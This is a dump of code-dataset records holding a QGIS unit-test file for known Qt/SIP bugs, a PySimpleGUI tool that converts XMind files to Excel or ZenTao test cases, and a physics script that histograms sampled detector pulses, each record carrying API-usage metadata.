"torch.reshape", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 98, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 109, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 109, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 120, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 121, "usage_type": "name"}]} {"seq_id": "30550272734", "text": "\"\"\"Contains tests which reveal broken behavior in QGIS.\n\n.. note:: This program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\"\"\"\n__author__ = 'Nyall Dawson'\n__date__ = '10/08/2022'\n__copyright__ = 'Copyright 2022, The QGIS Project'\n\nimport os\nimport shutil\nimport tempfile\n\nfrom qgis.PyQt.QtCore import QT_VERSION, QEventLoop, QLocale\nfrom qgis.PyQt.QtGui import QValidator\nfrom qgis.core import QgsDataCollectionItem, QgsLayerItem, QgsVectorLayer\nfrom qgis.gui import QgsFieldValidator\nimport unittest\nfrom qgis.testing import start_app, QgisTestCase\n\nfrom utilities import unitTestDataPath\n\napp = start_app()\nTEST_DATA_DIR = unitTestDataPath()\n\n\nclass PyQgsLayerItem(QgsLayerItem):\n\n def __del__(self):\n self.tabSetDestroyedFlag[0] = True\n\n\nclass PyQgsDataConnectionItem(QgsDataCollectionItem):\n\n def createChildren(self):\n children = []\n\n # Add a Python object as child\n pyQgsLayerItem = PyQgsLayerItem(None, \"name\", \"\", \"uri\", QgsLayerItem.Vector, \"my_provider\")\n pyQgsLayerItem.tabSetDestroyedFlag = self.tabSetDestroyedFlag\n children.append(pyQgsLayerItem)\n\n # Add a C++ object as child\n children.append(QgsLayerItem(None, \"name2\", \"\", \"uri\", QgsLayerItem.Vector, \"my_provider\"))\n\n return children\n\n\n\"\"\"\nThis file contains tests which reveal actual broken behavior in QGIS, where the fix for the\nunderlying issue is unknown or non-trivial.\n\n(It is not designed for broken *tests*, only for working tests which show broken behavior and\naccordingly can't be run on the CI)\n\nDO NOT ADD TESTS TO THIS FILE WITHOUT A DETAILED EXPLANATION ON WHY!!!!\n\"\"\"\n\n\nclass TestQgsDisabledTests(QgisTestCase):\n\n @classmethod\n def setUpClass(cls):\n \"\"\"Run before all tests.\"\"\"\n super().setUpClass()\n testPath = TEST_DATA_DIR + '/' + 'bug_17878.gpkg'\n # Copy it\n tempdir = tempfile.mkdtemp()\n testPathCopy = os.path.join(tempdir, 'bug_17878.gpkg')\n shutil.copy(testPath, testPathCopy)\n cls.vl = QgsVectorLayer(testPathCopy + '|layername=bug_17878', \"test_data\", \"ogr\")\n assert cls.vl.isValid()\n\n @classmethod\n def tearDownClass(cls):\n \"\"\"Run after all tests.\"\"\"\n cls.vl = None\n super().tearDownClass()\n\n @unittest.skipIf(QT_VERSION >= 0x050d00, 'Crashes on newer Qt/PyQt versions')\n def testPythonCreateChildrenCalledFromCplusplus(self):\n \"\"\"\n test createChildren() method implemented in Python, called from C++\n\n This test was originally working under Qt 5.12, but is broken on newer Qt or sip\n versions. The test currently segfaults, as the children created by the python QgsDataCollectionItem\n subclass PyQgsDataConnectionItem are immediately garbage collected.\n\n The SIP SIP_VIRTUAL_CATCHER_CODE in qgsdataitem.h is supposed to fix this situation by\n adding an extra reference to the returned python objects, but the lines\n\n // pyItem is given an extra reference which is removed when the C++ instance’s destructor is called.\n sipTransferTo( pyItem, Py_None );\n\n no longer have any effect and the object is still immediately deleted.\n\n Attempted solutions include:\n - all combinations of the existing VirtualCatcherCode with the different Factory/TransferBack annotations\n - removing the VirtualCatcherCode and replacing with raw Factory/TransferBack annotations\n - disabling the python garbage collection of the object entirely with sipTransferTo( pyItem, NULL )\n\n When fixed this test should be moved back to test_qgsdataitem.py\n \"\"\"\n\n loop = QEventLoop()\n NUM_ITERS = 10 # set more to detect memory leaks\n for i in range(NUM_ITERS):\n tabSetDestroyedFlag = [False]\n\n item = PyQgsDataConnectionItem(None, \"name\", \"\", \"my_provider\")\n item.tabSetDestroyedFlag = tabSetDestroyedFlag\n\n # Causes PyQgsDataConnectionItem.createChildren() to be called\n item.populate()\n\n # wait for populate() to have done its job\n item.stateChanged.connect(loop.quit)\n loop.exec_()\n\n # Python object PyQgsLayerItem should still be alive\n self.assertFalse(tabSetDestroyedFlag[0])\n\n children = item.children()\n self.assertEqual(len(children), 2)\n self.assertEqual(children[0].name(), \"name\")\n self.assertEqual(children[1].name(), \"name2\")\n\n del children\n\n # Delete the object and make sure all deferred deletions are processed\n item.destroyed.connect(loop.quit)\n item.deleteLater()\n loop.exec_()\n\n # Check that the PyQgsLayerItem Python object is now destroyed\n self.assertTrue(tabSetDestroyedFlag[0])\n tabSetDestroyedFlag[0] = False\n\n def _fld_checker(self, field):\n \"\"\"\n Expected results from validate\n QValidator::Invalid 0 The string is clearly invalid.\n QValidator::Intermediate 1 The string is a plausible intermediate value.\n QValidator::Acceptable 2 The string is acceptable as a final result; i.e. it is valid.\n \"\"\"\n validator = QgsFieldValidator(None, field, '0.0', '')\n\n def _test(value, expected):\n ret = validator.validate(value, 0)\n self.assertEqual(ret[0], expected)\n if value:\n self.assertEqual(validator.validate('-' + value, 0)[0], expected, '-' + value)\n\n # Valid\n _test('0.1234', QValidator.Acceptable)\n\n # If precision is > 0, regexp validator is used (and it does not support sci notation)\n if field.precision() == 0:\n _test('12345.1234e+123', QValidator.Acceptable)\n _test('12345.1234e-123', QValidator.Acceptable)\n\n @unittest.skipIf(QT_VERSION >= 0x050d00, 'Fails newer Qt/PyQt versions')\n def test_doubleValidatorCommaLocale(self):\n \"\"\"Test the double with german locale\n\n On newer Qt versions QDoubleValidator with comma as decimal locales now\n reports the Intermediate state for values like 0.1234, but we require\n it to report Acceptable as we always allow dot as decimal separator even\n for these locales.\n\n The underling fix will likely require a refactor of QgsFieldValidator to remove\n the use of the QDoubleValidator class entirely.\n\n When fixed these tests should be merged back into test_qgsfieldvalidator.py\n \"\"\"\n QLocale.setDefault(QLocale(QLocale.German, QLocale.Germany))\n self.assertEqual(QLocale().decimalPoint(), ',')\n field = self.vl.fields()[self.vl.fields().indexFromName('double_field')]\n self._fld_checker(field)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "repo_name": "qgis/QGIS", "sub_path": "tests/src/python/test_disabled_tests.py", "file_name": "test_disabled_tests.py", "file_ext": "py", "file_size_in_byte": 6964, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8946, "dataset": "github-code", "pt": "7", "api": [{"api_name": "qgis.testing.start_app", "line_number": 25, "usage_type": "call"}, {"api_name": "utilities.unitTestDataPath", "line_number": 26, "usage_type": "call"}, {"api_name": "qgis.core.QgsLayerItem", "line_number": 29, "usage_type": "name"}, {"api_name": "qgis.core.QgsDataCollectionItem", "line_number": 35, "usage_type": "name"}, {"api_name": "qgis.core.QgsLayerItem.Vector", "line_number": 41, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsLayerItem", "line_number": 41, "usage_type": "name"}, {"api_name": "qgis.core.QgsLayerItem", "line_number": 46, "usage_type": "call"}, {"api_name": "qgis.core.QgsLayerItem.Vector", "line_number": 46, "usage_type": "attribute"}, {"api_name": "qgis.testing.QgisTestCase", "line_number": 62, "usage_type": "name"}, {"api_name": "tempfile.mkdtemp", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 72, "usage_type": "call"}, {"api_name": "qgis.core.QgsVectorLayer", "line_number": 73, "usage_type": "call"}, {"api_name": "qgis.PyQt.QtCore.QEventLoop", "line_number": 107, "usage_type": "call"}, {"api_name": "unittest.skipIf", "line_number": 82, "usage_type": "call"}, {"api_name": "qgis.PyQt.QtCore.QT_VERSION", "line_number": 82, "usage_type": "name"}, {"api_name": "qgis.gui.QgsFieldValidator", "line_number": 148, "usage_type": "call"}, {"api_name": "qgis.PyQt.QtGui.QValidator.Acceptable", "line_number": 157, "usage_type": "attribute"}, {"api_name": "qgis.PyQt.QtGui.QValidator", "line_number": 157, "usage_type": "name"}, {"api_name": "qgis.PyQt.QtGui.QValidator.Acceptable", "line_number": 161, "usage_type": "attribute"}, {"api_name": "qgis.PyQt.QtGui.QValidator", "line_number": 161, "usage_type": "name"}, {"api_name": "qgis.PyQt.QtGui.QValidator.Acceptable", "line_number": 162, "usage_type": "attribute"}, {"api_name": "qgis.PyQt.QtGui.QValidator", "line_number": 162, "usage_type": "name"}, {"api_name": "qgis.PyQt.QtCore.QLocale.setDefault", "line_number": 178, "usage_type": "call"}, {"api_name": "qgis.PyQt.QtCore.QLocale", "line_number": 178, "usage_type": "name"}, {"api_name": "qgis.PyQt.QtCore.QLocale.German", "line_number": 178, "usage_type": "attribute"}, {"api_name": "qgis.PyQt.QtCore.QLocale.Germany", "line_number": 178, "usage_type": "attribute"}, {"api_name": "qgis.PyQt.QtCore.QLocale", "line_number": 179, "usage_type": "call"}, {"api_name": "unittest.skipIf", "line_number": 164, "usage_type": "call"}, {"api_name": "qgis.PyQt.QtCore.QT_VERSION", "line_number": 164, "usage_type": "name"}, {"api_name": "unittest.main", "line_number": 185, "usage_type": "call"}]} {"seq_id": "13200550146", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# @Time：2020/5/30 16:35\n# @Email: am1122@163.com\n# @Author: 'Nemo'\n\nfrom parsercases import ParserCases\nimport PySimpleGUI as sg\nfrom case2excel import Case2Excel\nimport os\nfrom config import ConfigParser, BASE_DIR\nfrom case2zentao import case2zentao\n\nbase_dir = os.path.dirname(os.path.abspath(__file__))\n\ndefault_template = os.path.join(BASE_DIR, 'template.xlsx')\n\n# 模板选择\n# 选择xmind文件\n# 选择存放位置，默认与 xmind 在同一目录，且后缀名改为 xmind\nTIPS = {\n 'save_file': '如果不选择则会直接保存在xmind所在目录',\n 'r1': '方案1：默认为5级，第一级为模块，最后三级分别为用例标题、步骤和结果',\n 'r2': '方案2：使用定义的关键字识别用例，比如\"tc:登录失败\"，\\n\\t使用tc作为标识，会识别该节点为测试用例\\n\\t后面分别为用例、步骤和结果',\n 'r3': '方案3：使用定义的关键字作为用例的前置，比如\"cases\"，\\n\\t则认为该节点下的所有节点都是用例',\n 'trans': '自动保存为 .xlsx 文件',\n 'zentao': '自动保存为 .csv 文件',\n 'encoding': '如果CSV出现乱码，则修改编码格式，一般为utf-8或GBK，一种不行就换一种咯！',\n 'template_text': '通过这里的关键字去识别模板中的用例，比如会根据“标题”去寻找用例标题',\n}\n\n# [sg.Radio('My first Radio!', \"RADIO1\", default=True),\n# sg.Radio('My second radio!', \"RADIO1\")]\nCASE_CONFIG = ConfigParser.get_config(section='cases')\nFIELD = ConfigParser.get_config('field', 'template')\n\ncase_column = [\n # [sg.T('用例识别方式：')],\n [sg.Radio('默认方案', group_id='case_mark', key='_MARK1_', tooltip=TIPS.get('r1'), enable_events=True)],\n [\n sg.Radio('关键字识别', group_id='case_mark', key='_MARK2_', tooltip=TIPS.get('r2'), enable_events=True),\n sg.In(key='_MARK2STR_', size=(10,))\n ],\n [\n sg.Radio('前置关键字', group_id='case_mark', key='_MARK3_', tooltip=TIPS.get('r3'), enable_events=True),\n sg.In(key='_MARK3STR_', size=(10,))\n ],\n]\n\n# field_column = [\n# [sg.T('模板字段设置：', tooltip=TIPS.get('template_text'))],\n# [sg.T('所属模块'), sg.I(default_text=FIELD.get('module'), key='_FIELD_MODULE_')],\n# [sg.T('用例标题'), sg.I(default_text=FIELD.get('test_title'), key='_FIELD_TITLE_')],\n# [sg.T('前置条件'), sg.I(default_text=FIELD.get('preset'), key='_FIELD_PRESET_')],\n# [sg.T('操作步骤'), sg.I(default_text=FIELD.get('test_step'), key='_FIELD_STEP_')],\n# [sg.T('预期结果'), sg.I(default_text=FIELD.get('test_result'), key='_FIELD_RESULT_')],\n# [sg.T('优先级'), sg.I(default_text=FIELD.get('priority'), key='_FIELD_PRIORITY_')],\n# [sg.T('用例类型'), sg.I(default_text=FIELD.get('category'), key='_FIELD_CATEGORY_')],\n# [sg.T('适用阶段'), sg.I(default_text=FIELD.get('stage'), key='_FIELD_STAGE_')],\n# ]\n\nconfig_frame = [\n # [sg.Column(case_column), sg.VerticalSeparator(), sg.Column(field_column)],\n # [sg.Frame('用例识别方式', case_column)],\n [sg.T('_'*60)],\n [sg.T('当没有写步骤或预期结果时，是否直接使用用例标题填充'), sg.Checkbox('', default=False, key='_FILL_')],\n [sg.T('用例字体大小：'), sg.In(key='_FONT_SIZE_', default_text=ConfigParser.get_config('font_size', 'style'), size=(5,))],\n [sg.T('csv 编码：', tooltip=TIPS.get('encoding')), sg.In(key='_CODING_', size=(5, ), default_text=ConfigParser.get_config('encoding', 'sys'))],\n [sg.B('保存配置', key='_SAVE_CONFIG_')]\n]\n\nlayout = [\n [sg.Frame('配置', case_column + config_frame)],\n [sg.T()],\n [sg.In(key='_TEMPLATE_', default_text=default_template), sg.FileBrowse('选择模板')],\n [sg.In(key='_XMIND_FILE_', enable_events=True), sg.FileBrowse('选择Xmind文件', key='_SELECT_XMIND_', file_types=(('Xmind', '*.xmind'),), initial_folder=base_dir)],\n [sg.In(key='_CASE_FILE_', enable_events=True), sg.FileSaveAs('选择用例保存位置', file_types=(('Excel', '*.xlsx'),), tooltip=TIPS.get('save_file'))],\n [sg.B('转化', key='_TRANSLATE_', tooltip=TIPS.get('trans')), sg.B('转化为禅道CSV文件', key='_TO_ZENTAO_FILE_', tooltip=TIPS.get('zentao'))]\n]\n\nwindow = sg.Window('xmind2excel用例转化', layout=layout, finalize=True).finalize()\n\nwhile True:\n # 处理配置\n if CASE_CONFIG['mark'] == 1:\n window['_MARK1_'].update(value=True)\n elif CASE_CONFIG['mark'] == 2:\n window['_MARK2_'].update(value=True)\n try:\n window['_MARK3STR_'].update(value='', disabled=True)\n window['_MARK2STR_'].update(value=CASE_CONFIG.get('mark_2_string'))\n except:\n pass\n elif CASE_CONFIG['mark'] == 3:\n window['_MARK3_'].update(value=True)\n try:\n window['_MARK2STR_'].update(value='', disabled=True)\n window['_MARK3STR_'].update(value=CASE_CONFIG.get('mark_3_key'))\n except:\n pass\n if CASE_CONFIG['no_step_or_result_fill_by_case_title']:\n window['_FILL_'].update(value=True)\n\n # 读取窗口事件\n event, value = window.Read()\n\n if event == '_MARK1_':\n window['_MARK2STR_'].update(value='', disabled=True)\n window['_MARK3STR_'].update(value='', disabled=True)\n event, value = window.Read()\n\n elif event == '_MARK2_':\n window['_MARK2_'].update(value=True)\n window['_MARK2STR_'].update(disabled=False, value=CASE_CONFIG.get('mark_2_string'))\n window['_MARK3STR_'].update(value='', disabled=True)\n event, value = window.Read()\n\n elif event == '_MARK3_':\n window['_MARK3_'].update(value=True)\n window['_MARK3STR_'].update(disabled=False, value=CASE_CONFIG.get('mark_3_key'))\n window['_MARK2STR_'].update(value='', disabled=True)\n event, value = window.Read()\n\n if event == '_TEMPLATE_':\n event, value = window.Read()\n\n # 配置保存\n if event == '_SAVE_CONFIG_':\n try:\n if value['_MARK1_']:\n # 写入配置\n ConfigParser.set_config('mark', 1, 'cases')\n elif value['_MARK2_']:\n ConfigParser.set_config('mark', 2, 'cases')\n ConfigParser.set_config('mark_2_string', value['_MARK2STR_'], 'cases')\n elif value['_MARK3_']:\n ConfigParser.set_config('mark', 3, 'cases')\n ConfigParser.set_config('no_step_or_result_fill_by_case_title', value['_FILL_'], 'cases')\n ConfigParser.set_config('font_size', int(value['_FONT_SIZE_']), 'style')\n ConfigParser.set_config('encoding', value['_CODING_'], 'sys')\n except Exception as e:\n sg.popup(e)\n else:\n sg.popup('配置保存成功！')\n event, value = window.Read()\n\n # 将生成后的路径与xmind文件在同一路径，并将后缀名修改为xlsx\n if event == '_XMIND_FILE_':\n window['_CASE_FILE_'].update(value=os.path.splitext(value['_XMIND_FILE_'])[0])\n event, value = window.Read()\n\n # 由于选择excel保存路径时可能会忘记输入后缀名，自动加上.xlsx后缀\n if event == '_CASE_FILE_':\n case_file = value['_CASE_FILE_']\n if os.path.splitext(case_file)[-1] not in ['xlsx', 'xls']:\n case_file = case_file + '.xlsx'\n window['_CASE_FILE_'].update(value=case_file)\n event, value = window.Read()\n\n # 当点击转化按钮时，获取文件路径，并调用核心代码进行转化\n if event == '_TRANSLATE_':\n template = value['_TEMPLATE_']\n xmind_file = value['_XMIND_FILE_']\n case_file = value['_CASE_FILE_'] + '.xlsx'\n\n if not template:\n sg.popup('请选择模板文件!')\n\n elif not xmind_file or not xmind_file.endswith('.xmind'):\n sg.popup('您没有选择xmind文件或文件格式有误!')\n\n else:\n if not case_file:\n sg.popup('您没有选择用例保存位置，将默认保存在xmind所在的文件夹!')\n case_file = os.path.splitext(xmind_file)[0] + '.xlsx'\n event, value = window.Read()\n xc = ParserCases(xmind_file)\n if xc.msg:\n sg.popup('选择的xmind格式有问题，请检查文件！')\n event, value = window.Read()\n ce = Case2Excel(template, case_file)\n try:\n ce.write_case_to_excel(xc.all_map_case)\n except Exception as e:\n sg.popup('转化出现错误：\\n' + str(e))\n else:\n sg.popup('用例生成成功，请前往 {} 查看！'.format(case_file))\n # event, value = window.Read()\n event, value = window.Read()\n\n if event == '_TO_ZENTAO_FILE_':\n xmind_file = value['_XMIND_FILE_']\n case_file = value['_CASE_FILE_'] + '.csv'\n\n if not xmind_file or not xmind_file.endswith('.xmind'):\n sg.popup('您没有选择xmind文件或文件格式有误!')\n else:\n if not case_file:\n sg.popup('您没有选择用例保存位置，将默认保存在xmind所在的文件夹!')\n case_file = os.path.splitext(xmind_file)[0] + '.csv'\n event, value = window.Read()\n xc = ParserCases(xmind_file)\n if xc.msg:\n sg.popup('选择的xmind格式有问题，请检查文件！')\n event, value = window.Read()\n try:\n case2zentao(case_file, xc.all_map_case)\n except Exception as e:\n sg.popup('转化出现错误：\\n' + str(e))\n else:\n sg.popup('用例生成成功，请前往 {} 查看！'.format(case_file))\n event, value = window.Read()\n\n if event is None:\n break\n\nwindow.close()", "repo_name": "doudouxie/Excel2Xmind", "sub_path": "xmind2excel-master/src/xmind2excel.py", "file_name": "xmind2excel.py", "file_ext": "py", "file_size_in_byte": 9884, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "config.BASE_DIR", "line_number": 17, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "config.ConfigParser.get_config", "line_number": 35, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 35, "usage_type": "name"}, {"api_name": "config.ConfigParser.get_config", "line_number": 36, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 36, "usage_type": "name"}, {"api_name": "PySimpleGUI.Radio", "line_number": 40, "usage_type": "call"}, {"api_name": "PySimpleGUI.Radio", "line_number": 42, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 43, "usage_type": "call"}, {"api_name": "PySimpleGUI.Radio", "line_number": 46, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 47, "usage_type": "call"}, {"api_name": "PySimpleGUI.T", "line_number": 66, "usage_type": "call"}, {"api_name": "PySimpleGUI.T", "line_number": 67, "usage_type": "call"}, {"api_name": "PySimpleGUI.Checkbox", "line_number": 67, "usage_type": "call"}, {"api_name": "PySimpleGUI.T", "line_number": 68, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 68, "usage_type": "call"}, {"api_name": "config.ConfigParser.get_config", "line_number": 68, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 68, "usage_type": "name"}, {"api_name": "PySimpleGUI.T", "line_number": 69, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 69, "usage_type": "call"}, {"api_name": "config.ConfigParser.get_config", "line_number": 69, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 69, "usage_type": "name"}, {"api_name": "PySimpleGUI.B", "line_number": 70, "usage_type": "call"}, {"api_name": "PySimpleGUI.Frame", "line_number": 74, "usage_type": "call"}, {"api_name": "PySimpleGUI.T", "line_number": 75, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 76, "usage_type": "call"}, {"api_name": "PySimpleGUI.FileBrowse", "line_number": 76, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 77, "usage_type": "call"}, {"api_name": "PySimpleGUI.FileBrowse", "line_number": 77, "usage_type": "call"}, {"api_name": "PySimpleGUI.In", "line_number": 78, "usage_type": "call"}, {"api_name": "PySimpleGUI.FileSaveAs", "line_number": 78, "usage_type": "call"}, {"api_name": "PySimpleGUI.B", "line_number": 79, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 82, "usage_type": "call"}, {"api_name": "config.ConfigParser.set_config", "line_number": 133, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 133, "usage_type": "name"}, {"api_name": "config.ConfigParser.set_config", "line_number": 135, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 135, "usage_type": "name"}, {"api_name": "config.ConfigParser.set_config", "line_number": 136, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 136, "usage_type": "name"}, {"api_name": "config.ConfigParser.set_config", "line_number": 138, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 138, "usage_type": "name"}, {"api_name": "config.ConfigParser.set_config", "line_number": 139, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 139, "usage_type": "name"}, {"api_name": "config.ConfigParser.set_config", "line_number": 140, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 140, "usage_type": "name"}, {"api_name": "config.ConfigParser.set_config", "line_number": 141, "usage_type": "call"}, {"api_name": "config.ConfigParser", "line_number": 141, "usage_type": "name"}, {"api_name": "PySimpleGUI.popup", "line_number": 143, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path", "line_number": 150, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path", "line_number": 156, "usage_type": "attribute"}, {"api_name": "PySimpleGUI.popup", "line_number": 168, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 171, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path", "line_number": 176, "usage_type": "attribute"}, {"api_name": "parsercases.ParserCases", "line_number": 178, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 180, "usage_type": "call"}, {"api_name": "case2excel.Case2Excel", "line_number": 182, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 186, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 188, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 197, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 201, "usage_type": "call"}, {"api_name": "os.path", "line_number": 201, "usage_type": "attribute"}, {"api_name": "parsercases.ParserCases", "line_number": 203, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 205, "usage_type": "call"}, {"api_name": "case2zentao.case2zentao", "line_number": 208, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 210, "usage_type": "call"}, {"api_name": "PySimpleGUI.popup", "line_number": 212, "usage_type": "call"}]} {"seq_id": "30765047627", "text": "import numpy as np\nfrom scipy.stats import moyal\nimport matplotlib.pyplot as plt\n\nx25 = np.linspace(25, 400, int(400/25))\nx833 = np.linspace(8.33, 400, int(400/8.33))\nx1 = np.linspace(1, 400, 400)\n\ndef searchPk(x, y):\n tmp = 0\n pk = 0\n for i in range(len(x)):\n tmp = y[i]\n if tmp > pk:\n pk = tmp\n return pk\n\ndef getArea(x, y):\n summ = 0\n for i in range(len(x)):\n summ += y[i]\n return summ\n\npulses = np.loadtxt(\"rmdpulses.dat\", float)\n\nxtime = pulses.T[0]\nyampl = pulses.T[1]\n\n# =======================\n# *** Plotting pulses ***\n'''\nplt.figure(figsize=(16,9))\n\nplt.plot(xtime, yampl, 'o')\n\nplt.ylabel(\"Amplitude [mV]\", fontsize=24)\nplt.yticks(fontsize=22)\nplt.xlabel(\"time [ns]\", fontsize=24)\nplt.xticks(fontsize=22)\n\nplt.tight_layout()\n#plt.savefig(\"../plots/artifitialPulses.png\", dpi=100)\nplt.show()\n'''\n\nsglpulse210 = []\nsglpulse212 = []\nmv2fadc210 = 1.95 #mV\nmv2fadc212 = 0.49 #mV\n\nbintime = [i for i in range(40000)]\n\ntmpbin25 = 0.\ntmpcnt = 0\n\nfor np in range( int(yampl.size/4e4) ):\n tmp = []\n tmpbin25 = 25.\n for t in bintime:\n if t == int(tmpbin25*1e2):\n tmp.append( int(yampl[tmpcnt]/mv2fadc210) )\n tmpbin25 += 25.\n tmpcnt += 1\n sglpulse210.append( tmp )\n\n\ntmpbin833 = 0.\ntmpcnt = 0\nfor np in range( int(yampl.size/4e4) ):\n tmp = []\n tmpbin833 = 8.33\n for t in bintime:\n if t == int(1e2*tmpbin833):\n tmp.append( int(yampl[tmpcnt]/mv2fadc212) )\n tmpbin833 += 8.33\n tmpcnt += 1\n sglpulse212.append( tmp )\n\nimport numpy as np\npkhist25 = np.zeros(200, int)\npkhist833 = np.zeros(200, int)\n\nchhist25 = np.zeros(400, int)\nchhist833 = np.zeros(400, int)\n\nfactorCh25 = 25./50.\nfactorCh833 = 8.33/50.\n\nfor i in range(len(sglpulse210)):\n pkhist25[ int(mv2fadc210*searchPk(x25[:-1], sglpulse210[i])) ] += 1\n chhist25[ int((mv2fadc210*factorCh25)*getArea(x25[:-1], sglpulse210[i])) ] += 1\n\nfor i in range(len(sglpulse212)):\n pkhist833[ int(mv2fadc212*searchPk(x833[:-1], sglpulse212[i])) ] += 1\n chhist833[ int((mv2fadc212*factorCh833)*getArea(x833[:-1], sglpulse212[i])) ] += 1\n\nplt.figure(figsize=(16,9))\n\nplt.plot(pkhist25, 's', ms=12, label=\"Peak for Sample/25 ns\")\nplt.plot(pkhist833, '^', ms=12, label=\"Peak for Sample/8.33 ns\")\n\nplt.legend(fontsize=24)\nplt.ylabel(\"Counts [au]\", fontsize=24)\nplt.yticks(fontsize=22)\nplt.xlabel(\"Amplitude [mV]\", fontsize=24)\nplt.xticks(fontsize=22)\nplt.xlim(50,80)\n\nplt.tight_layout()\nplt.savefig(\"../plots/samplingDigiPkHistos.png\", dpi=100)\n#plt.show()\n\n\nplt.figure(figsize=(16,9))\n\nplt.plot(chhist25, 's', ms=12, label=\"Charge for Sample/25 ns\")\nplt.plot(chhist833, '^', ms=12, label=\"Charge for Sample/8.33 ns\")\n\nplt.legend(fontsize=24)\nplt.ylabel(\"Counts [au]\", fontsize=24)\nplt.yticks(fontsize=22)\nplt.xlabel(\"Charge [pC]\", fontsize=24)\nplt.xticks(fontsize=22)\nplt.xlim(80,140)\n\nplt.tight_layout()\nplt.savefig(\"../plots/samplingDigiChHistos.png\", dpi=100)\n#plt.show()\n", "repo_name": "suarez-duran-m/sdeu", "sub_path": "underPulses/samplingDigiPulses.py", "file_name": "samplingDigiPulses.py", "file_ext": "py", "file_size_in_byte": 2907, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.linspace", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 102, 